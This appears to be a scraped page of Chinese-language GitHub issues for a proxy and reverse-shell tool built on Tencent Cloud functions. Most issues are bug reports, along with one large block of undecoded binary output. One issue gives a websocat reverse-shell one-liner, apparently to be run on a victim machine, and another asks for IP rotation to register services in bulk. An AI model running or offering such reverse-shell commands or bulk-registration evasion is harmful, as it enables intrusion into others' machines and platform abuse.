AttributeError: module 'mitmproxy' has no attribute 'http'

http代理 乱码

https://*****/
别的站都没问题 就这个站有问题

������r�X� �����pd��,�$���CJ�D�W����^��P�@�$���L���ںm����lz���lf���Ǧ,ˬ���������>aι�pA�"�<�#�!b������܃�w�{����4 G��/^����@�ǡ��T�g��������o9�·L�u-3���o�uy��㠙�___���7p,�p �6�� gz#9�j�Uj���ȍ,�4z�cw���o17r�Ѐ�~~gs]�+��o�C)��[�7�u��?�W�}���}m�=�:wt��x��!���Cv�\�l��I�t'��� �,+r�2��p�5F9�W�h]+�W��{�����۴����u���N��L�����רX�U�[��aB9c<��0~��߃�Z�R.T��b�ݹ=��f��+hZ��P��7��0�ݑ����;��������[�m�C���>h��+ܼ;��i�u�ޕ����)t��1u�lj5�(�������=��3��z�R���^����8!�����ԝ8�Ö��7�Y�G;��M�g����������]>�t�N<ݏ�vb�Ź~ؚ����q��o�qb��ޟ�d�3�b)n���K~���~�u�^f� _�t��﬛��A�������e�4�'���+%�k񪤠vya]n�V8������>(��U�>������ݐ9DYב���$�#˪�϶���������nα�A8��67�0���2�u�!s�5/���0{���wȀ��s�� v��:����������@�Tl=�Ȗ%g���JZV �����;�L�Y���������(#����c���+������2�B7662Q��W��U@����f�g]��W��j���B��X�Z�*��{���� �c�76��̓l����sV ���u���I��#4���ґ6y������t�aUfjd� ����}t.��I{����C�=<�k��@ 2iMI�42A�,�K�>ds�=�ZW$9�cR��.��㋎O� ��;;��kM/��߻ֵ��5����oLk,�P�ؔ�iM�f������9׻��K^��XC������I� �6���@12�?�����0����zs��@��������˼�D�M��á�z����X�p$������Y!��o�����ݢ�@�Y��7���F�wuk��j� u��OG�*�K�}����nω(����i��+�2ᮏw���B�茱y.���_i�X���uYn� ��r.3׳���X=�/�����[�L���:RI���L��}B�����%\i��-�0{'�$�䗆����E0�,��^�}�Ks2��hX�����35�X�f�����=ÇZ%��� 8u|?������l��%��( J�r/ƗP��q�q\��ī�!+I�������n���o"��D{���s�P��r$��#�,��K��ȜC���F��'��=����Q#8ldM�I0<��̢da��5vW���kQF�C�����V�2���W��3�����?+�7�c������2fWY��(�A�tb�D"��u� ,� &4��P��"��з�xR��RP}������G+g��sP0��dp�Q�� �PdE�N������q�%��7�h�:{� U���lʛ��,v&���23�k���{��>XNI�+��V�{�(e�f���=r�����)� ���R_M��μ�q� �ؘ�i������~�(� CBދ�~����4��Ȋg�-�e��yW����- �7%�>h�mw��7��;^m�ڑ����ʅ�parq�l�A G��N���d����ձ�ӏ�F��T�j,�#�|�S/��k��2�Jo�T���s�V؅�����|�:�)��3��L�$�(�RwyHA���r�U��ˡ* R��23��T��nD�}@�f��;�d��Ŝ6� H��S���6/�Rc2��V��\���o}t�\F�y �"jyTE��I���ډ��u�*��p����� ����m�.]�w6Y��0��T�>�nO2ٝ�YL2�ր3g�h#Ii�$��0����ơ����Εm��Hp8Z�8�g�����L�Cb�������1 ���tl0f���L8Ug���=2��9!�H(��S�Z6ڔ����E������v��J�W���=�������$���$�~�L"��E�a��}�pXǃ�)9�v� ���(�r����B0��s��v����T�����\$\��F����hBP3���}�w����p|J� U�Y!�K��[������).�������K�xLW���1�x(���(������5)�N6�4�6��%� t��A�Vd�wϽ��=�k�Y�[�&��h�㬎����-S�!JK�����d���0�9\\%��\pБ��� �^C3ZVp���C6��2\Ͻ�y�Xv�IM��� ���H�Mf/m2��b)���=�Cf�����"��]�)s��E�R�Z��ڂ�J�Щ�Q+�ݔ�����{|�^º�ynlY�#���o���pCg״@����+���1���b\*���¡�f�y��C���2�!��>L�*t�L��E�Q�%I���Y��E���� T�11��dv���� ��Ƹ����l��q���l�A�x]f���������=#4�K�� ��Ę\�c� ,P���i��Ĉ$�v�tbz.������ol88��NyJ3=Ш�7����������;�Lt�C���U�� "�[�ɀ�X�%�t�Hw�P��yP��/@�ss�͙������Y�h���t��K�^j�����;��m<�M�W�:�&�-���Ʃ}q]�-�d�U�,�vO��?1��w1���J�۲�[���x#Z��l�����P.D����h9�B�.�Z�ˁ�G�옻��KO"\���V��Jd:���J���"S��-��� C��z�� �+�!���S�4I���ec$hg2�@?ɣ��k�ơ��A�����,G�����ef��;�]�����f��ſ����f6������2�]�����G����wכ��w�����ۿȃT���{��ݡ�>�‶��!�?�7��������������}N��cg��2T����}53q�w��m�B%$���,�����߀p�43��]�f���B���R6�S��h�����R�� ��9<�E�b�f�!��M)=E9B�,�9��t1����#��vb�1ց������m��c_��� ��1�%�U\p��iF�C�>0��Y������U}2���ͬu*Y���+rSs�o�ӥ�Q���KF/��3O�������í��4'����J?^�� ���( �u��'����P���ba���A���?�ff��P�63�+8���ʻT����Tz�w��*d� �+m���8p�׊u9����8ո����P�rHd&S�u�aN_@����Ĉ�.@+�"�E@�B ���$���S��m���L���� Av��q���,��������y�D焚���BU�z0}���me�NP����gb5��gfb��`y�n���ҷ�1��+ �0߷��oT ����c�ۖ��S\k����C�wu/�3��{-4V�Y�Ц�N������ �'�r���b�1-��%/�ٗ[L��M�4��\�ANO�����YT�/��3B�O"ΒjV����� /U���w<���I����m-u��adܸ4LÌQ��RI��� �0�l��D�F�w��Lt���g�'"���"���k*;ͼä>D����L�����A j��Q�S\��f��1����b����G妜��N��ؐb&;�%y�V���)��nXz= ��������mD���T�C*"_��=���!

希望增加请求连接时候更换ip功能

希望增加请求连接时候更换ip功能,我是需要用到大量ip来注册服务。
希望增加我每次连接他,他都会换ip,目前已知重启scfproxy 可以做到

超时那里有bug

flow.response.content = (
"<html><body>操作已超过云函数服务最大时间限制,可在函数配置中修改执行超时时间</body></html>",
)

这里报错content不能是元组,我改成了

flow.response.text = "<html><body>操作已超过云函数服务最大时间限制,可在函数配置中修改执行超时时间</body></html>"

websocat 反弹shell 能否使用原生参数?

websocat 原生支持反弹命令,类似于ncat 的 -e 参数

	cmd:            	Start specified command line using `sh -c` or `cmd /C` (depending on platform)
	exec:           	Execute a program directly (without a subshell), providing array of arguments on Unix [A]

所以是不是可以简化一下直接在 victim 端 执行如下命令:

websocat ws://tencentcloud.com  cmd:/bin/bash --text -v

我在其他云上测试了一下可行,未在腾讯云上测试。

Reverse列名大小写问题

ReverseShell项目处创建数据库中的connectionID是小写c开头的,在transmission.py中45行使用的key是大写的ConnectionID:c["ConnectionID"],腾讯云函数运行会报找不到的错。

{"errorCode":1,"errorMessage":"user code exception caught","stackTrace":"Traceback (most recent call last):\n  File \"/var/user/index.py\", line 88, in main_handler\n    connectionIDs = get_connectionIDs(conn)\n  File \"/var/user/index.py\", line 45, in get_connectionIDs\n    connectionIDs = {c[\"ConnectionID\"]: c[\"is_user\"] for c in result}\n  File \"/var/user/index.py\", line 45, in \u003cdictcomp\u003e\n    connectionIDs = {c[\"ConnectionID\"]: c[\"is_user\"] for c in result}\nKeyError: 'ConnectionID'","statusCode":430}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.